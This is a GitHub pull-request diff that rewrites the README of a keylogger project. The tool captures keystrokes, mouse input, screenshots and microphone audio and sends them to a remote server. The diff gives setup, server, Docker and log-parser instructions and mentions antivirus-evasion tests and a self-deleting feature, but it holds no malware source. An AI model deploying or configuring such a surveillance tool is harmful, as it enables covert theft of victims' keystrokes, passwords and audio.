Skip to content

Feature updates with server #64

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.venv/
197 changes: 171 additions & 26 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,52 +1,197 @@
# Inputs To Mail.
Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail.
Purpose of the project is testing the security of information systems
# Keylogger Project 🎯

## INSTALLATION
## 🌟 Overview

**You don't need to do anything for installation just run the script**
This project captures keyboard, mouse, screenshots, and microphone inputs and sends them to a server or parses the logs for analysis. The keylogger is designed for testing the security of information systems.

![github-small](/images/Adsız.png)
## ✨ Features

## USAGE
- 🎹 Captures keyboard and mouse inputs.
- 📸 Takes screenshots and records audio from the microphone.
- 🌐 Sends data to a specified server.
- 📋 Includes a parser for keylog files to decode raw data into readable text.

•**Create an account on "https://mailtrap.io/" using a temp mail.**
## 📂 Repository

![github-small](https://github.com/aydinnyunus/WifiPassword-Stealer/blob/master/images/dene.png?raw=true)
To start, clone the repository:

```bash
git clone https://github.com/scrollDynasty/Keylogger
cd Keylogger
```

•**Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".**
## 🛠️ Requirements

•**pip install -r requirements.txt**
- Python 3.9
- Node.js (for running the server)
- Docker (for containerized deployment)
- Libraries specified in `requirements.txt`

•**python3 keylogger.py**
## 🐍 Installing Python 3.9 on Linux

•**Every 10 seconds,You Get the Data from the Target Computer**
If Python 3.9 is not installed on your system, follow these steps:

•**If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.**
```bash
sudo apt update
sudo apt install -y build-essential zlib1g-dev libffi-dev \
libssl-dev libncurses5-dev libsqlite3-dev libreadline-dev \
libbz2-dev liblzma-dev tk-dev wget

cd /usr/src
sudo wget https://www.python.org/ftp/python/3.9.0/Python-3.9.0.tgz
sudo tar xzf Python-3.9.0.tgz
cd Python-3.9.0
sudo ./configure --enable-optimizations
sudo make altinstall
```

## ANTIVIRUS TEST
Verify the installation:

![github-small](/images/1.png)
```bash
python3.9 --version
```

![github-small](/images/2.png)
## ⚙️ Installation and Setup

However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on
**BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF** my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉
1. Install required Python dependencies:

---
```bash
pip install -r requirements.txt
```

2. Set up the server:

- Navigate to the `server` folder:
```bash
cd server
```
- Ensure `server.js` is present in this folder.
- Start the server:
```bash
node server.js
```
- Keep the server running to receive data from the keylogger.

3. Configure the keylogger:

- Open `keylogger.py` and set the correct server IP and port:
```python
SERVER_IP = "your.server.ip"
SERVER_PORT = 8080
```

4. Run the keylogger:

```bash
python3.9 keylogger.py
```

## 🐳 Docker Integration

To containerize the project with Docker:

### Create Dockerfile for Keylogger
In the root of the project, create a file named `Dockerfile`:

```Dockerfile
# Keylogger Dockerfile
FROM python:3.9-slim

WORKDIR /app

COPY . .

RUN pip install --no-cache-dir -r requirements.txt

CMD ["python3", "keylogger.py"]
```

### Create Dockerfile for Server
In the `server` folder, create a separate `Dockerfile`:

```Dockerfile
# Server Dockerfile
FROM node:14

WORKDIR /app

COPY . .

RUN npm install

### Contact
CMD ["node", "server.js"]
```

[<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/linkedin.png" title="LinkedIn">](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/github.png" title="Github">](https://github.com/aydinnyunus/WhatsappBOT) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/instagram-new.png" title="Instagram">](https://instagram.com/aydinyunus_/) [<img target="_blank" src="https://img.icons8.com/bubbles/100/000000/twitter-squared.png" title="LinkedIn">](https://twitter.com/aydinnyunuss)
### Build and Run Containers

1. Build the keylogger image:
```bash
docker build -t keylogger .
```

## Another Projects :
2. Run the keylogger container:
```bash
docker run -d --name keylogger-container keylogger
```

•**WHATSAPP BOT** : https://github.com/aydinnyunus/WhatsappBOT
3. Build the server image:
```bash
docker build -t keylogger-server ./server
```

•**MACHINE LEARNING** : https://github.com/aydinnyunus/Machine-Learning
4. Run the server container:
```bash
docker run -d --name server-container -p 8080:8080 keylogger-server
```

## 🧰 Using the Keylog Parser

The parser converts raw keylog data into readable text. Here’s how to use it:

1. Run the parser:
```bash
python3.9 keylogparser.py
```
2. Paste the raw keylog text into the prompt and press Enter twice to decode.
3. The decoded text will be displayed.

## 📌 Notes

- Use this tool responsibly and only on systems you own or have permission to test.
- Data is sent every 60 seconds by default. You can adjust this interval in `keylogger.py` by modifying `SEND_REPORT_EVERY`.

## 🖼️ Antivirus Test

![Antivirus Test](/images/1.png)
![Antivirus Test](/images/2.png)
## 📄 License

This project is licensed under the terms of the [LICENSE](./LICENSE) file.

## 💬 Support and Contact

If you have any issues or questions, feel free to reach out:

- [LinkedIn](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/)
- [GitHub](https://github.com/aydinnyunus)
- [Instagram](https://instagram.com/aydinyunus_/)
- [Twitter](https://twitter.com/aydinnyunuss)

### ✨ Update by: scrollDynasty
- [GitHub](https://github.com/scrollDynasty)
- [Instagram](https://www.instagram.com/scroll_privacy/)

## ☕ Donate

Support the development of this project:

- **BTC Wallet:** `1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF`

## ⚠️ Disclaimer

This project is for educational purposes only. The author is not responsible for any misuse of this tool.

---

•**FACE RECOGNITION SECURITY** : https://github.com/aydinnyunus/FaceRecognitionSecurity
# 🚀 **Version: 1.0.3** 🚀

Binary file removed images/Adsız.png
Binary file not shown.
Loading